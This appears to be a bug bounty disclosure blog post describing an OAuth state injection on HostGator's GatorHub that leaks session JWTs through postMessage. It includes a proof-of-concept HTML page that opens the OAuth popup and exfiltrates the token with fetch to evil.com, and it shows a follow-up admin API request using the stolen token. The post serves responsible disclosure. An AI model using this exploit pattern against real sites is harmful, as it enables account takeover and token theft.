Back

Vulnerability in HostGator | OAuth State Injection Leaks Central SSO Tokens via postMessage

During a recent security audit of HostGator’s centralized authentication infrastructure, I uncovered a critical Broken Access Control and OAuth misconfiguration on gatorhub.hostgator.com.br

The GatorHub portal acts as an internal identity and authentication hub for administrative operations and services. By chaining an unvalidated origin parameter embedded into a signed OAuth state with an insecure window.opener.postMessage implementation, an attacker could achieve a seamless 1-click Account Takeover (ATO), stealing active session tokens directly across browser origins.

Long story short: If a logged-in user visits an attacker-controlled page, a popup initiates the Google OAuth flow. The backend blindly trusts the attacker’s origin encoded inside the signed state, generates a fresh hub_user_token session JWT, and broadcasts it straight into the attacker’s window listener.

The Real-World Scenario: The 1-Click Trap

Imagine a HostGator user or administrator browsing the web while actively authenticated to their account.

An attacker sends a crafted link:

  1. The victim visits https://evil.com, which opens a popup pointing to the legitimate OAuth initiation endpoint at https://gatorhub.hostgator.com.br/api/user/auth/google?origin=https://evil.com.
  2. Because the victim is already authenticated, the OAuth authorization silently completes and redirects back to the GatorHub callback.
  3. The server constructs an inline script executing window.opener.postMessage containing the sensitive hub_user_token, sending it directly to https://evil.com.
  4. The attacker’s listener intercepts the token in real time and uses it to query administrative APIs.

Why This is Dangerous

  • Full Session Hijacking: Immediate exfiltration of the primary hub_user_token JWT.
  • Administrative API Compromise: With the stolen token, attackers can query internal endpoints (such as /api/admin/keys) with the victim’s privileges.
  • Zero Interaction Resistance: Requires no credential phishing or fake forms—the browser’s existing trusted session does all the work.

Technical Overview & Architecture Flow

When starting the Google OAuth handshake via /api/user/auth/google, the application accepted an arbitrary origin parameter without domain whitelisting. The backend then packaged this untrusted input into the OAuth state parameter before signing it:

state=MTc3NzExMTQ0OXw...fGh0dHBzOi8vZXZpbC5jb20.SIGNATURE

(Where h0dHBzOi8vZXZpbC5jb20 is the Base64 representation of https://evil.com)

Because the server signature was calculated after embedding the user-supplied string, the callback handler at /api/user/auth/google/callback accepted the state as completely legitimate. It extracted the origin and rendered the following HTML response:

<script>
(function() {
  var origin = 'https://evil.com';
  if (window.opener && origin) {
    window.opener.postMessage({
      type: 'hub-user-auth',
      status: 'success',
      token: 'eyJhbGciOiJIUzI1Ni...'
    }, origin);
    window.close();
  }
})();
</script>
Attacker Page evil.com Opens OAuth popup with custom ?origin
OAuth Initiation & Callback
GatorHub Backend gatorhub.hostgator.com.br Signs unvalidated origin in state
postMessage Execution
Origin Validation SKIPPED
|
Target Window evil.com
|
hub_user_token LEAKED
Signed state bypasses origin check — token is sent directly to attacker via postMessage

Proof of Concept (PoC)

Step 1: The Exploit Listener

I created a proof-of-concept exploit page (⁠attacker_poc.html⁠) containing the following script to initiate the OAuth flow and listen for incoming messages

<!DOCTYPE html>
<html>
<head>
  <title>SSO Authentication</title>
</head>
<body>
  <script>
    // 1. Open the vulnerable GatorHub OAuth initiation
    const popup = window.open("https://gatorhub.hostgator.com.br/api/user/auth/google?origin=https://evil.com");

    // 2. Listen for the leaked token via postMessage
    window.addEventListener("message", (event) => {
      if (event.data && event.data.type === 'hub-user-auth') {
        console.log("!!! ACCOUNT TAKEOVER SUCCESSFUL !!!");
        console.log("Leaked Token Data:", event.data);
        alert("Token Stolen: " + event.data.token);

        // Exfiltrate token to attacker server
        fetch('https://evil.com/steal?token=' + encodeURIComponent(event.data.token));
      }
    }, false);
  </script>
</body>
</html>

Step 2: The Attack Execution

The victim, while logged into their account, navigates to https://evil.com/attacker_poc.html.

Step 3: Intercepting the Token

The popup routes through Google OAuth and redirects back to gatorhub.hostgator.com.br/api/user/auth/google/callback. The backend generates the session token and executes window.opener.postMessage targeting https://evil.com. The listener on the parent window captures the token immediately.

Step 4: Unauthorized API Access

Using the exfiltrated Bearer token, I made authenticated requests to restricted endpoints:

GET /api/admin/keys HTTP/1.1
Host: gatorhub.hostgator.com.br
Authorization: Bearer eyJhbGciOiJIUzI1Ni...

The server accepted the session token with full authorization.

Resolution and Fix

After discovering the vulnerability, I reported it through HostGator Bug Bounty Program, providing detailed reproduction steps and a proof-of-concept video. HostGator acknowledged the issue and implemented a fix to secure the system.

Subscribe
Notify of
guest
0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments